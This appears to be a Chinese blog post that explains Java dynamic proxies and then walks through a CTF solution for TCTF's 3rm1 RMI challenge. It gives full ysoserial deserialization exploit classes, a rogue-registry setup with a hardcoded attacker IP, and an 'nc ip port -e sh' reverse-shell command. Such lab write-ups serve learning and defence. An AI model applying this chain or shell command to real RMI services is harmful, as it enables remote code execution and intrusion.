从TCTF的3rm1学习java动态代理 此篇文章首发于跳跳糖 。
关于java代理
代理模式是常用的 java 设计模式,他的特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。
这里需要关注的重点有如下几点
代理类与委托类有同样的接口
代理类主要负责为委托类预处理消息、过滤消息等简而言之经过代理的类方法被调用后会先经过代理类的处理。
一个代理类的对象与一个委托类的对象关联
从这里你能够发现其实实现代理模式需要三个东西:一个公共接口,一个具体的类,一个代理类,代理类持有具体类的实例,代为执行具体类实例方法。
下面是最常见的两种代理模式
静态代理 这种代理方式需要代理对象和目标对象实现一样的接口。但是当需要代理的对象过多就需要实现大量的代理类,并且一旦接口增加方法,目标对象与代理对象都要进行修改。
举个例子学生交作业,一般都是通过学生先交给课代表然后课代表交给老师这种模式,课代表在这里就相当于是一个学生代理类。
首先你需要一个公共代理接口,这个接口就是学生(被代理类),和课代表(代理类)的公共接口
public interface Event { void SubmitWork () ; }
然后你需要一个学生类,这是被代理类。
public class Student implements Event { String name; public Student (String n) { this .name = n; } @Override public void SubmitWork () { System.out.println(this .name + "提交作业" ); } }
最后你需要一个代理类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package test;public class StudentInnovation implements Event { Student student; int count = 0 ; public StudentInnovation (Student stu) { if (stu.getClass() == Student.class) { this .student = (Student)stu; } } public void setStudent (Student student) { this .student = student; } @Override public void SubmitWork () { this .student.SubmitWork(); this .count += 1 ; System.out.println("已收作业数量为" + this .count); } }
有了这三样东西你就能实现一个简单的代理。简单测试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package test;public class main { public static void main (String[] args) { Student s1 = new Student("张三" ); Student s2 = new Student("李四" ); Student s3 = new Student("王五" ); StudentInnovation monitor = new StudentInnovation(s1); monitor.SubmitWork(); monitor.setStudent(s2); monitor.SubmitWork(); monitor.setStudent(s3); monitor.SubmitWork(); } }
但是你能很明显的感受这样的模式完成代理一个类是很容易的,但如果需要代理的类很多,那么就需要编写大量的代理类,比较繁琐。并且当接口被改变代理类同样需要改变,这样就产生了更大的局限性和更多麻烦。这就需要动态代理来解决问题了。
动态代理 动态代理和静态代理一样也需要三样东西:公共接口,代理对象,代理类。区别就是动态代理是利用反射机制在运行时创建代理类。
例如这里代理对象类的接口类不变,代理类这样实现。这里使用了jdk原生自带的InvocationHandler
,这个类也是文章后面会重点使用到的利用类。这样写就不再局限于一种接口了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package test;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class ProxyHandler implements InvocationHandler { private Object object; int count = 0 ; public void setStudent (Student student) { this .object = student; } public ProxyHandler (Object object) { this .object = object; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { method.invoke(object, args); this .count += 1 ; System.out.println("已收作业数量为" + this .count); return null ; } }
进行测试
public class main { public static void main (String[] args) { Student s1 = new Student("张三" ); InvocationHandler handler = new ProxyHandler(s1); Event proxyHello = (Event) Proxy.newProxyInstance(s1.getClass().getClassLoader(), s1.getClass().getInterfaces(), handler); proxyHello.SubmitWork(); } }
动态代理简单利用 而有了代理如何进行利用呢,这里简单搭建一个攻击场景。
首先有两个公共接口
package test;public interface Teacher { Object getObject () ; void attack () ; }
有一个实现公共接口的类A和一个后门类
package test;public class A implements Teacher { Object object; @Override public Object getObject () { return null ; } @Override public void attack () { System.out.println("attack" ); } }
有一个后门类,例如这样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package test;import java.io.IOException;public class Backdoor implements Teacher { @Override public Object getObject () { return null ; } @Override public void attack () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
有一个可利用的代理类myProxy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class myProxy implements InvocationHandler { private Object object; public myProxy (Object o) { this .object = o; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { return this .object; } }
有一个代理类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package test;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class ProxyHandler implements InvocationHandler { private A object; public ProxyHandler (Object object) { this .object = (A) object; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("method is " + method.getName()); method.invoke(this .object.getObject(), args); return null ; } }
很明显我们最终的目的是需要调用到后门类里面的attack方法。这里我们能够控制ProxyHandler.invoke()
中的method为attack方法名,因为Teacher接口里面也有attack方法。
所以关键就是让this.object.getObject()
能够返回一个Backdoor后门类实例对象就能完成attack方法调用。所以怎么做呢这里的通常做法就是能够寻找到一个新的代理,我们能够控制这个代理的invoke返回对象,然后用它来代理ProxyHandler中的object,当调用到this.object.getObject()
进入到我们找的可利用的代理对象中控制返回对象为一个Backdoor后门类实例。所以很明显这里的myProxy
就是那个新的代理。
最终的利用代码如下
public class main { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException { A t = new A(); Backdoor backdoor = new Backdoor(); InvocationHandler backdoorhandler = new myProxy(backdoor); Teacher proxyInstance = (Teacher) Proxy.newProxyInstance(backdoor.getClass().getClassLoader(), new Class[]{Teacher.class}, backdoorhandler); InvocationHandler handler = new ProxyHandler(t); Field field = handler.getClass().getDeclaredField("object" ); field.setAccessible(true ); field.set(handler,proxyInstance); Teacher proxyHello = (Teacher) Proxy.newProxyInstance(t.getClass().getClassLoader(), t.getClass().getInterfaces(), handler); proxyHello.attack(); } }
关于题目 此题最终是4解,最终的做法也是将java动态代理运用的很巧妙,很有趣的一道题。
题目描述和提示
The server resets every 5 minutes hint 1: https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf page 50 hint 2: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java
题目给了一个rmi服务,但是题目的远程服务端绑定死了,所以即使控制了lookup的参数也无法进行jndi。
但是如果能够在rmi服务端绑定我们的恶意对象,然后恶意对象的地址只想我们的恶意服务(例如jrmp listener),然后在注册端lookup这个对象然后会在我们的恶意服务端返回序列化好的数据让题目客户端反序列化即可进行rce。
题目给的两个hint很明显契合了这个做法,第一个hint用来绕过高版本jdk限制除本地服务外的其它连接来注册对象。第二个hint用来完成进行rce的反序列化链。
注册恶意对象 工具一把梭https://github.com/qtc-de/remote-method-guesser
绑定之后,起一个JRMPListener服务使用URLDNS的链子,然后请求我们注册的恶意对象,可以看到题目客户端成功将URLDNS的链子反序列化,很明显此做法是可行的,所以剩下需要做的就是找出找出一条链子进行rce。
反序列化链的尝试 这个是这个题目的难点,题目给的提示是spring1的链子,所以必然需要先了解这条链子。
关于spring1 这条链子在JDK 8u66之前是可以使用的。
链子调用如下图,最终利用TemplatesImpl.newTransformer()来实例化恶意字节码,链子主要靠的是使用InvocationHandler层层代理。
使用ysoserial项目调试。程序反序列化的入口为org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
此时可以看到总共是有三层代理的。
在this.provider.getType().getClass()
存在第一层代理,在invoke里会返回一个org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
代理,这个代理的invoke是最终执行命令的方法。
从上图也可以看到最后一层代理是代理objectFactory的getObject方法,然后返回一个templates,此时method又被设置为newTransformer,所以就能成功实例化恶意字节码。
接着往下调试,第一次代理返回就是上面所说的AutowireUtils$ObjectFactoryDelegatingInvocationHandler
然后在ReflectionUtils.findMethod
中会获取到newTransformer方法,因为代理类实例化时传入了接口。 然后还会调用一次getType,调用过程和第一次是一样的返回对象也是一样的,都是返回了一个代理对象。 重要的是在调用 ReflectionUtils.invokeMethod
时,可以看到此时的method已经被代理
所以会再次跳转到代理类的invoke,这里就是我们最终能够成功调用templates的newtransformer的地方。可以看到这里调用到了getObject方法,但是objectFactory已经被代理所以这里的getObject方法返回的类也可以被控制,让其返回一个templatesImpl实例对象即可。
进入到getObject代理中,看到从HashMap中取出来templatesImpl实例对象 。
后面就是经典的利用templatesImpl实例化恶意字节码来进行rce的做法了。
回到题目,比赛时错误的做法。 说是错误做法就是没有注意到题目jdk版本导致写出来的链子有个类在jdk202下被更改过了导致无法使用,不过还是值得记录一下。
题目的readObject入口是这样的,和spring1的链子对比一下,可以看到几乎一摸一样。这里的getGirlFriend
就相当于时getType
方法
同时看到题目提供的一些接口,几乎和spring1如出一辙,区别就是这些都是出题者自己实现的。
但是相比于spring1还差一个可以最终rce的反射调用方法。再看代码发现出题者实现了MyInvocationHandler
,所以很明显需要用的都提供了剩下的就是改改实例化类的名字了。
exp代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package ysoserial.payloads;import com.ctf.threermi.*;import org.springframework.beans.factory.ObjectFactory;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Type;import static java.lang.Class.forName;public class TCTF3rmi extends PayloadRunner implements ObjectPayload <Object > { public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final FactoryInter factoryInter = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject" , templates), FactoryInter.class); final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); Reflections.setFieldValue(myInvocationHandler,"object" ,factoryInter); final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class,Templates.class); final UserInter userInter = Gadgets.createMemoitizedProxy( Gadgets.createMap("getGirlFriend" , friend), UserInter.class,Templates.class); Gadget gadget = new Gadget(); Reflections.setFieldValue(gadget,"user" ,userInter); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); return gadget; } public static void main (final String[] args) throws Exception { PayloadRunner.run(TCTF3rmi.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
但最终是无法打通题目,可以问题出在看到从memberValues
中获取到的对象是null。
原因在于在最开始已经说到spring1的链子有jdk版本限制,而题目的版本是jdk8u201,高版本下AnnotationInvocationHandler
的readObject方法被修改了,无法控制this.memberValues的值了,所以也无法控制invoke的返回对象。下面看看到底在哪被限制了呢。
jdk8u201版本下的AnnotationInvocationHandler
如下,最终需要满足判断var12 != null
才能获取HashMap中的键值然后put到var7中最后赋值给MemberValues
而memberTypes
是从AnnotationType
实例化后的对象获取到的,跟进getInstance
。可以看到第一个参数指定var1必须是Annotation的子类,第二个参数是传入一个Map类型的var2。将var1赋值给成员变量type然后将var赋值给成员变量memberValues。
这里的分析其实就是CC1链子的分析网上也有很多文章,接着看到AnonotationType
的构造函数。可以看到memberTypes
的赋值是在构造函数中实现的。构造函数传的参数是AnnotationInvocationHandler的var0,然后通过反射获取了Annotation对象的所有方法,遍历方法名字赋值给var7,方法返回类型赋值给var8,最后将两者put到memberTypes成员变量中。
所以回到readObject,要进入if里面就需要在HashMap里面put一个Annotation对象的方法名字,这里的Retention为Annotation的一个子类且有一个value的方法。
所以这样的话就只需要往HashMap中put一个键名是”value”的字符串就能进入到if中了。
但是问题又来了,我们能够看到此时var4中存在两个map了,一个map中含有value键名,但另一个还是没有,所以当遍历到键名为getObject的map时还是无法进入到if中就无法获取到map的键值,那最终MemberValues
的这个map的键值就是null,所以就会出现在AnnotationInvocationHandler.invoke()
函数中从MemberValues获取对象结果为null的问题了。
而要解决这个问题就是找到一个Annotation的一个子类,这个子类的所有方法名中有叫getObject
的方法。但显然这样的类无法找到。所以还是需要舍弃这个类去寻找新的类了。
RemoteObjectInvocationHandler 这个类的寻找也很简单官方wp上直接使用java代码遍历类设置条件筛选出可用的类或者直接使用codeql也很方便
public class FindClass { public static void main(String[] args) { Reflections reflections = new Reflections(); Set<Class <? extends InvocationHandler>> subTypesOf = reflections.getSubTypesOf(InvocationHandler.class ); for (Class <? extends InvocationHandler > aClass : subTypesOf) { if (Serializable.class .isAssignableFrom(aClass)){ System.out.println ( aClass ); } } } }
import java from Class c where c.getASupertype().hasName("InvocationHandler") and c.getASupertype*() instanceof TypeSerializable select c
RemoteObjectInvocationHandler
的invoke方法如下,可以看到这个类最终能调用到ref的invoke方法。 ref.invoke最终调用到的是StreamRemoteCall#executeCall方法。基本上所有客户端的请求,invoke->executeCall其实就是一条危险片段链,是rmi攻击手段中经常会见到的类。
ref其实就是一个远程引用,里面保存着服务端的对象信息。就像我们调用Registry的bind方法时,绑定的也是远程引用。
但是这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类,但是又有另外一个攻击思路了。
首先我们自己实现两个接口然后绑定到注册中心,这样ref中保存的就是我们的自己实现接口后的类。
然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法,这样我们在自己实现的类里就能控制返回对象了。
例如这样,只需要让题目客户端调用到我们自己实现的类即能控制返回对象。
最终攻击-rce反序列化链 最终的链子如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 package ysoserial.payloads;import com.ctf.threermi.*;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.RemoteObjectInvocationHandler;import java.rmi.server.RemoteRef;import java.rmi.server.UnicastRemoteObject; */class UserImpl implements UserInter { Registry registry; { try { registry = LocateRegistry.getRegistry(7777 ); } catch (RemoteException e) { e.printStackTrace(); } } @Override public String sayHello (String paramString) throws RemoteException { return null ; } @Override public Friend getGirlFriend () throws RemoteException { FactoryInter factoryInter = null ; try { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2 ); allIfaces[0 ] = FactoryInter.class; allIfaces[1 ] = Remote.class; factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory" ))); } catch (Exception e) { e.printStackTrace(); } final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); try { Reflections.setFieldValue(myInvocationHandler,"object" ,factoryInter); } catch (Exception e) { e.printStackTrace(); } final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class); return friend; } }class FactoryImpl implements FactoryInter { String cmd; @Override public Object getObject () throws Exception { return Gadgets.createTemplatesImpl(this .cmd); } }public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload <Object > { public Object getObject (final String command) throws Exception { int evilServerPort = 7777 ; Registry registry = LocateRegistry.createRegistry(evilServerPort); UserImpl user1 = new UserImpl(); registry.bind("UserImpl" , UnicastRemoteObject.exportObject(user1, evilServerPort)); FactoryImpl factoryImpl = new FactoryImpl(); Reflections.setFieldValue(factoryImpl,"cmd" ,command); registry.bind("factory" , UnicastRemoteObject.exportObject(factoryImpl, evilServerPort)); InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl" )); Field field = ref.getClass().getSuperclass().getDeclaredField("ref" ); field.setAccessible(true ); UnicastRef unicastRef = (UnicastRef)field.get(ref); LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref" ); TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep" ); Reflections.setFieldValue(tcpEndpoint,"host" ,"10.122.207.125" ); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref" )); final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler); Gadget gadget = new Gadget(); Reflections.setFieldValue(gadget,"user" ,user); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); return gadget; } public static void main (String[] args) throws Exception { PayloadRunner.run(TCTF3rmiExp.class, args); } }
整体调试一下链子还是很顺利的。
进入到UnicastRef.invoke()里面首先用newCall方法首先会建立一个连接到对应的RMI服务端。后面其实就是正常客户端获取RMIRegistry对象的流程了。
StreamRemoteCall初始化会在自己的this.out属性中序列化一些属性进去 然后判断如果方法有参数,调用 marshalValue 将参数写入到输出流,然后调用 executeCall。但我们这里很明显getGirlFriend没有参数所以不进入。
在executeCall中首先会释放输出流
然后获取服务端返回数据信息
然后读取第一个字节和81进行相等比较,81是在TransportConstants中定义好的代表Return标志位。
然后又会读取一个字节。读取的第二个字节会用于下面的流程判断,如果是1的话那么直接return,而如果是2的话,那么会对返回回来的数据进行反序列化(这是一个攻击点,也就是如果服务端返回回来的序列化数据,那么在这里客户端是可以进行反序列化的),其实ysoserial的JRMPListener就是利用的这里,实际上进入到case 2
后就是处理TransportConstants.ExceptionalReturn报错情况,所以这也是为什么会说需要将payload放到报错信息中的原因。 这里很明显我们并没有进入到case 2
。
跳出之后就是通过反序列化获取远程对象了
最后我们能够使用到自己实现的类来控制返回对象,返回一个使用MyInvocationHandler代理了Templates和Friend两个接口的类
然后通过findMethod就能够找到newTransformer方法。
然后第二行this.user.getGirlFriend()
会进行上面同样的流程返回一个代理对象,然后通过反射调用这个类里面的newTransformer方法。又由于这个被MyInvocationHandler代理过所以会进入到MyInvocationHandler的invoke方法。
这里只要再控制this.object.getObject()
为一个TemplatesImpl实例对象就能成功调用newTransformer方法从而实例恶意字节码执行命令了。 这里控制返回对象的方法和上面this.user.getGirlFriend()
是一摸一样的就不再跟进一遍了。
rce效果图
攻击效果 先绑定恶意对象
反序列化rce链子,题目docker环境没有curl和bash,但是有nc可能确实是特意给的,所以利用nc ip port -e sh
即可反弹shell。
最终getshell
参考文章http://www.yongsheng.site/2022/07/11/RMI-attack/
https://www.cnblogs.com/zpchcbd/p/13517074.html
https://www.redmango.top/article/70
https://tttang.com/archive/1430/
https://xie.infoq.cn/article/9a9387805a496e1485dc8430f
https://wooyun.js.org/drops/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B7%A5%E5%85%B7ysoserial%E5%88%86%E6%9E%90.html